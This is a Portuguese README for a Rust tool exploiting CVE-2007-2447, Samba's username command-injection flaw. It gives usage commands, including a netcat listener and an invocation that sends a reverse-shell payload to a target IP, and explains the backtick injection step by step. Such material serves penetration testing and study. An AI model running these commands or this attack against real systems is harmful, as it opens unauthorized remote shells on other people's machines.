CVE-2007-2447 Samba Exploit

RustSecurity

Repository

Uma implementação independente em Rust do exploit CVE-2007-2447 direcionado ao Samba smbd 3.0.20-Debian.

Descrição da Vulnerabilidade

CVE-2007-2447 é uma vulnerabilidade de injeção de comando nas versões 3.0.0 a 3.0.25rc3 do Samba. A vulnerabilidade existe na função SamrChangePassword(), que falha em sanitizar adequadamente a entrada do usuário, permitindo que invasores executem comandos arbitrários por meio de metacaracteres de shell no campo de nome de usuário durante a autenticação SMB.

Pré-requisitos

  • Rust instalado no seu sistema
  • Alvo executando uma versão vulnerável do Samba
  • Alvo deve ter netcat disponível (geralmente instalado por padrão)

Uso

cargo run -- --lhost <ip-do-atacante> --lport <porta-do-atacante> --target <ip-do-alvo>

Exemplo

# Configurar um ouvinte netcat
nc -lvnp 4444

# Executar o exploit
cargo run -- --lhost 10.10.14.170 --lport 4444 --target 192.168.1.100

Opções

  • --lhost: Endereço IP da sua máquina atacante
  • --lport: Porta para receber a conexão reversa do shell
  • --target: Endereço IP da máquina alvo

Como Funciona

  1. Gera um payload de shell reverso netcat diretamente no código
  2. Injeta o payload no campo de nome de usuário do SMB usando acentos graves
  3. Envia uma solicitação de configuração de sessão SMB malformada para a porta 445
  4. Explora a injeção de comando no processamento de nome de usuário do Samba
  5. Executa o payload de shell reverso no alvo

Recursos

  • Autônomo: Não requer dependências externas como o Metasploit
  • Portátil: Funciona em qualquer sistema com Rust instalado
  • Rápido: Não gera processos externos

Esta ferramenta é apenas para fins educacionais e de testes de penetração autorizados. Use com responsabilidade e apenas em sistemas que você possui ou para os quais tenha permissão explícita